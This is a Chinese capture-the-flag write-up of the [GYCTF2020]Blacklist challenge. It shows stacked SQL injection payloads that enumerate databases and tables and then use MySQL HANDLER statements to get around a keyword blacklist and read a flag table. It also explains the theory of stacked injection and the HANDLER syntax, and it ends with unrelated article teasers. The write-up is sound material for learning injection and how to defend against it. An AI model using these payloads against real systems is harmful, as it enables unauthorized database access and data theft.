当前位置: 首页 > news >正文

堆叠注入 [GYCTF2020]Blacklist1

打开题目

判断注入点

输入1,页面回显

输入1'

页面报错

输入 1' #

页面正常,说明是单引号的字符型注入

我们输入1'; show databases; #

说明有6个数据库

1'; show tables; #

说明有三个表

我们直接查看FlagHere的表结构

1';desc `FlagHere`;#

发现下面没有flag

那我们接着爆破列名字段

1'  order by 2; #页面正常

 1' order by 3; # 页面报错

说明列名字段数为2

输入1';select * from FlagHere; #

发现页面过滤了很多东西

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

所以union select联合注入就用不了

那我们就尝试堆叠注入和handl句

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

得到flag

知识点:

堆叠注入

  原理:

mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,是否会一起执行?
因此这个想法也就造就了堆叠注入

  实现条件:

堆叠注入原理是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法。例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句


而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

相关文章:堆叠注入原理解析_Stray.io的博客-CSDN博客

堆叠注入的一些操作:

获取库名、表名、列名

show databases;
show tables;
show columns from `table_name`;

查看表结构

desc `表名`;

MySQL关于HANDLER命令的用法

官方给出的格式

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

HANDLER ... OPEN语句会打开一个表,使其能够用后续的HANDLER ... READ语句访问。这个表不能和其他会话共享直到HANDLER ... CLOSE或会话关闭。

如果使用别名打开表,后续在使用HANDLER语句打开表必须使用别名而不能用原表名。如果不使用别名,而是使用带有数据库名前缀的表名,后续引用需要去掉数据库名。例如,使用mydb.mytable,后续引用需使用mytable。

第一个HANDER ... READ语法获取的是特定索引满足给定值并且满足where条件的行。如果是多列索引,给定的索引列值应该是用逗号隔开的列表。要么指定索引中所有列的值,要么指定索引列中的最左边的不几列。如果索引my_idx包含col_a,col_b,col_c。HANDLER语句可以指定索引中的全部三个列值,或者是最左边的几列。例如

HANDLER ... READ my_idx = (col_a_val,col_b_val,col_c_val) ...
HANDLER ... READ my_idx = (col_a_val,col_b_val) ...
HANDLER ... READ my_idx = (col_a_val) ...

第二个HANDLER ... READ语法表示按照索引的某种顺序来按照where条件筛选结果行

第三个HANDLER ... READ语法表示按照表中行的自然顺序匹配where条件。当需要全表扫描来获取每一行时(结果行足够多),比第一、二种使用索引方式都要更快。实际上,自然行顺序就是数据行在MyISAM表数据文件中的存放顺序。这条语句对于InnoDB表同样适用,但是不存在这样的概念,因为没有独立的数据文件。

若没有LIMIT子句,所有HANDLER ... READ形式的语句都最多只会获取一行。要返回多少行,就LIMIT多少。

HANDLER ... CLOSE用于关闭用HANDLER ... OPEN打开的表。

假设有一张叫’user’,有一列叫’name’,该列有一个索引叫’name_index’,如果要查询name为小明的记录,那么HANDLER语句的写法就是:

handler user open as user;
handler user READ name_index=('小明') ;

handler user close;

需要注意的是,这个语句只会返回一条记录(如果表中有满足条件的记录),如果要返回多条,可以这么写

handler user open as user;
handler user READ name_index=('小明') limit 10 ;

handler user close;

我们没办法一次返回所有的记录——因为我们并不知道满足条件的记录一共有多少条 

其他大佬给出的解释

句柄:句柄(Handle)是一个是用来标识对象或者项目的标识符,可以用来描述窗体、文件等。这是我从百度上搜到的。

翻译成白话就是,句柄 相当于一个指针,是一个广义的指针,不是特定指向某一个形式(整数、数组、对象等)。

# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ]# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ]# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]# 关闭已打开的句柄
HANDLER tbl_name CLOSE

相关文章链接:MySQL关于HANDLER命令的说明_handler open as ``;-CSDN博客

Mysql HANDLER语句 - 简书

【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客

相关文章:

堆叠注入 [GYCTF2020]Blacklist1

打开题目 判断注入点 输入1&#xff0c;页面回显 输入1 页面报错 输入 1 # 页面正常&#xff0c;说明是单引号的字符型注入 我们输入1; show databases; # 说明有6个数据库 1; show tables; # 说明有三个表 我们直接查看FlagHere的表结构 1;desc FlagHere&#xff1b;# 发…...

算法:Java构建二叉树并递归实现二叉树的前序、中序、后序遍历

先自定义一下二叉树的类&#xff1a; // Definition for a binary tree node. public class TreeNode {int val;TreeNode left;TreeNode right;TreeNode() {}TreeNode(int val) { this.val val; }TreeNode(int val, TreeNode left, TreeNode right) {this.val val;this.left…...

既然有了字节流,为什么还要有字符流?

字符流和字节流之间的区别主要在于它们处理数据的方式和用途&#xff1a; 字节流&#xff1a;字节流以字节为单位进行数据的读取和写入&#xff0c;适用于处理二进制数据&#xff0c;如图像、音频和视频文件。字节流是处理底层数据的理想选择&#xff0c;它不会对数据进行编码…...

3+单细胞+代谢+WGCNA+机器学习

今天给同学们分享一篇生信文章“Identification of new co-diagnostic genes for sepsis and metabolic syndrome using single-cell data analysis and machine learning algorithms”&#xff0c;这篇文章发表Front Genet.期刊上&#xff0c;影响因子为3.7。 结果解读&#x…...

音乐推荐与管理系统Python+Django网页界面+协同过滤推荐算法

一、介绍 音乐推荐与管理系统。本系统采用Python作为主要开发语言&#xff0c;前端使用HTML、CSS、BootStrap等技术搭建界面平台&#xff0c;后端使用Django框架处理请求&#xff0c;并基于Ajax等技术实现前端与后端的数据通信。在音乐个性推荐功能模块中采用通过Python编写协…...

(论文阅读15/100)You Only Look Once: Unified, Real-Time Object Detection

文献阅读笔记 简介 题目 You Only Look Once: Unified, Real-Time Object Detection 作者 Joseph Redmon, Santosh Divvala, Ross Girshick, Ali Farhadi 原文链接 https://arxiv.org/pdf/1506.02640.pdf 《You Only Look Once: Unified, Real-Time Object Detection》…...

init进程启动过程

首语 init进程是Android系统中用户空间的第一个进程&#xff0c;进程号为1&#xff0c;是Android系统启动的一个关键步骤&#xff0c;作为第一个进程&#xff0c;它的主要工作是创建Zygote和启动属性服务等。init进程是由多个源文件共同组成的&#xff0c;源码目录在system/co…...

全网最详细的【shell脚本的入门】

&#x1f3c5;我是默&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; ​ &#x1f31f;在这里&#xff0c;我要推荐给大家我的专栏《Linux》。&#x1f3af;&#x1f3af; &#x1f680;无论你是编程小白&#xff0c;还是有一定基础的程序员&#xff0c;这…...

CH10_简化条件逻辑

分解条件表达式&#xff08;Decompose Conditional&#xff09; if (!aDate.isBefore(plan.summerStart) && !aDate.isAfter(plan.summerEnd))charge quantity * plan.summerRate; elsecharge quantity * plan.regularRate plan.regularServiceCharge;if (summer())…...

nn.LayerNorm解释

这个是层归一化。我们输入一个参数&#xff0c;这个参数就必须与最后一个维度对应。但是我们也可以输入多个维度&#xff0c;但是必须从后向前对应。 import torch import torch.nn as nna torch.rand((100,5)) c nn.LayerNorm([5]) print(c(a).shape)a torch.rand((100,5,…...

Springboot搭建微服务案例之Eureka注册中心

一、父工程依赖管理 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org…...

【MySQL】用户管理权限控制

文章目录 前言一. 用户管理1. 创建用户2. 删除用户3. 修改用户密码 二. 权限控制1. 用户授权2. 查看权限3. 回收权限 结束语 前言 MySQL的数据其实也以文件形式保存&#xff0c;而登录信息同样保存在文件中 MySQL的数据在Linux下默认路径是/var/lib/mysql 登录MySQL同样也可以…...

若依框架前后端分离版服务器部署,前端nginx的配置

server {listen 80;server_name 120.46.177.184;index index.php index.html index.htm default.php default.htm default.html;root /www/wwwroot/qilaike-vue/dist;#SSL-START SSL相关配置&#xff0c;请勿删除或修改下一行带注释的404规则#error_page 404/404.html;#SSL-END…...

基于单片机的滚筒洗衣机智能控制系统设计

收藏和点赞&#xff0c;您的关注是我创作的动力 文章目录 概要 一、系统整体设计方案2.1控制系统的功能2.2设计的主要内容 二、硬件设计3.1 控制系统整体框图3.2 电源电路 三 软件设计主程序设计仿真设计 四、 结论 概要 因此我们需要一个完善的智能系统来设计一个全自动滚筒洗…...

简述多模态学习中,对齐、融合和表示

在多模态学习中&#xff0c;对齐、融合和表示是三个核心概念&#xff0c;它们相互关联&#xff0c;共同支持多模态数据的处理和分析。 对齐&#xff08;Alignment&#xff09; 对齐是多模态学习中的一个关键步骤&#xff0c;它涉及到如何在不同的数据模态之间发现和建立对应关…...

Kotlin 进阶函数式编程技巧

Kotlin 进阶函数式编程技巧 Kotlin 简介 软件开发环境不断变化&#xff0c;要求开发人员不仅适应&#xff0c;更要进化。Kotlin 以其简洁的语法和强大的功能迅速成为许多人进化过程中的信赖伙伴。虽然 Kotlin 的初始吸引力可能是它的简洁语法和与 Java 的互操作性&#xff0c…...

操作系统——内存映射文件(王道视频p57)

1.总体概述&#xff1a; 2.传统文件访问方式&#xff1a; 我认为&#xff0c;这种方式最大的劣势在于&#xff0c;如果要对整个文件的不同部分进行多次操作的话&#xff0c;这样确实开销可能会大一些&#xff0c;而且程序员还要指定对应的“分块”载入到内存中 3.内存映射文件…...

王道p18 07.将两个有序顺序表合并为一个新的有序顺序表,并由函数返回结果顺序表。(c语言代码实现)

视频讲解在这&#xff1a;&#x1f447; p18 第7题 c语言代码实现王道数据结构课后代码题_哔哩哔哩_bilibili 本题代码如下 int merge(struct sqlist* A, struct sqlist* B, struct sqlist* C) {if (A->length B->length > C->length)//大于顺序表的最大长度r…...

2024最新mac电脑清理垃圾的软件有哪些?

mac电脑是许多人喜爱的电子产品&#xff0c;它拥有优美的设计、流畅的操作系统和强大的性能。但是&#xff0c;随着使用时间的增长&#xff0c;mac电脑也会积累一些不必要的垃圾文件&#xff0c;这些文件会占用宝贵的存储空间&#xff0c;影响电脑的运行速度和稳定性。因此&…...

2023年【山东省安全员C证】考试技巧及山东省安全员C证模拟试题

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 山东省安全员C证考试技巧考前必练&#xff01;安全生产模拟考试一点通每个月更新山东省安全员C证模拟试题题目及答案&#xff01;多做几遍&#xff0c;其实通过山东省安全员C证模拟考试题很简单。 1、【多选题】《环境…...

从一道蓝桥杯EDA赛题,聊聊平衡车硬件设计中那些‘不起眼’却关键的安全电路

平衡车硬件设计中的安全电路&#xff1a;从蓝桥杯赛题到工程实战 去年调试一款平衡车原型机时&#xff0c;我曾遇到一个诡异现象&#xff1a;每次电池快耗尽时&#xff0c;电机就会突然失控。经过三天排查&#xff0c;最终发现问题出在电源检测电路的分压电阻取值上——这个看似…...

导师推荐!盘点2026年当红之选的AI论文平台

一天写完毕业论文在2026年已不再是天方夜谭。2026年最炸裂、实测能大幅提速的AI论文平台&#xff0c;覆盖选题构思、文献综述、数据整理、降重润色、格式排版等全流程&#xff0c;高效搞定论文&#xff0c;让你轻松应对学术挑战。 一、全流程王者&#xff1a;一站式搞定论文全链…...

【大英赛】全国大学生英语竞赛C类历年真题、样卷、听力音频及答案解析电子版PDF(2012-2026年)

2026年全国大学生英语竞赛倒计时 2026年全国大学生英语竞赛&#xff08;NECCS&#xff09;将于4月12日上午9:00至11:00正式开赛&#xff0c;距离考试仅剩20天备考时间。 备考资料汇总 现已整理完成2012-2025年大英赛C类全套备考资料&#xff0c;PDF电子版&#xff0c;可下载…...

Spring Batch 大数据量处理实战:从入门到精通

Spring Batch 大数据量处理实战&#xff1a;从入门到精通别叫我大神&#xff0c;叫我 Alex 就好。处理百万级数据不用愁&#xff0c;Spring Batch 让批处理变得优雅而高效。一、Spring Batch 基础架构 1.1 核心配置 Configuration EnableBatchProcessing public class BatchCon…...

文墨共鸣企业内训系统搭建:基于AI的个性化学习路径与技能评估

文墨共鸣企业内训系统搭建&#xff1a;基于AI的个性化学习路径与技能评估 最近和几个做企业培训的朋友聊天&#xff0c;大家普遍头疼一个问题&#xff1a;公司花大价钱采购的在线学习平台&#xff0c;员工不爱用。要么是课程千篇一律&#xff0c;老员工觉得没意思&#xff1b;…...

LaTeX算法排版避坑指南:从Undefined control sequence到完美排版

LaTeX算法排版避坑指南&#xff1a;从Undefined control sequence到完美排版 第一次在LaTeX里插入算法伪代码时&#xff0c;那个刺眼的红色"Undefined control sequence"错误让我盯着屏幕发呆了半小时。作为科研工作者&#xff0c;我们总希望论文中的算法描述能和数学…...

typedef用法

将为你介绍typedef 4 种应用方式。应用一、为基本数据类型定义新的类型名用uint32_t替代unsigned int声明变量/* 变量名重定义 */typedef unsigned int uint32_t;/* 定义一个unsigned int类型的变量 */uint32_t count 0;应用二、为自定义数据类型&#xff08;结构体、共用体和…...

消费级显卡轻松玩转百亿大模型微调?8步教你降维打击,显存成本打骨折!

本文介绍了如何使用QLoRA技术&#xff0c;仅需单张RTX 3090/4090显卡&#xff0c;即可高效微调百亿参数量级的大模型。文章详细阐述了从数据准备、模型加载与量化&#xff08;4-bit NF4&#xff09;、LoRA配置、训练优化&#xff08;混合精度、梯度累积等&#xff09;、模型评估…...

如何快速部署AI模型:免费本地化解决方案完整指南

如何快速部署AI模型&#xff1a;免费本地化解决方案完整指南 【免费下载链接】LocalAI mudler/LocalAI: LocalAI 是一个开源项目&#xff0c;旨在本地运行机器学习模型&#xff0c;减少对云服务的依赖&#xff0c;提高隐私保护。 项目地址: https://gitcode.com/GitHub_Trend…...

终极指南:如何在浏览器中创建惊艳的WebGL流体模拟效果

终极指南&#xff1a;如何在浏览器中创建惊艳的WebGL流体模拟效果 【免费下载链接】WebGL-Fluid-Simulation Play with fluids in your browser (works even on mobile) 项目地址: https://gitcode.com/gh_mirrors/web/WebGL-Fluid-Simulation 想要在浏览器中体验令人惊…...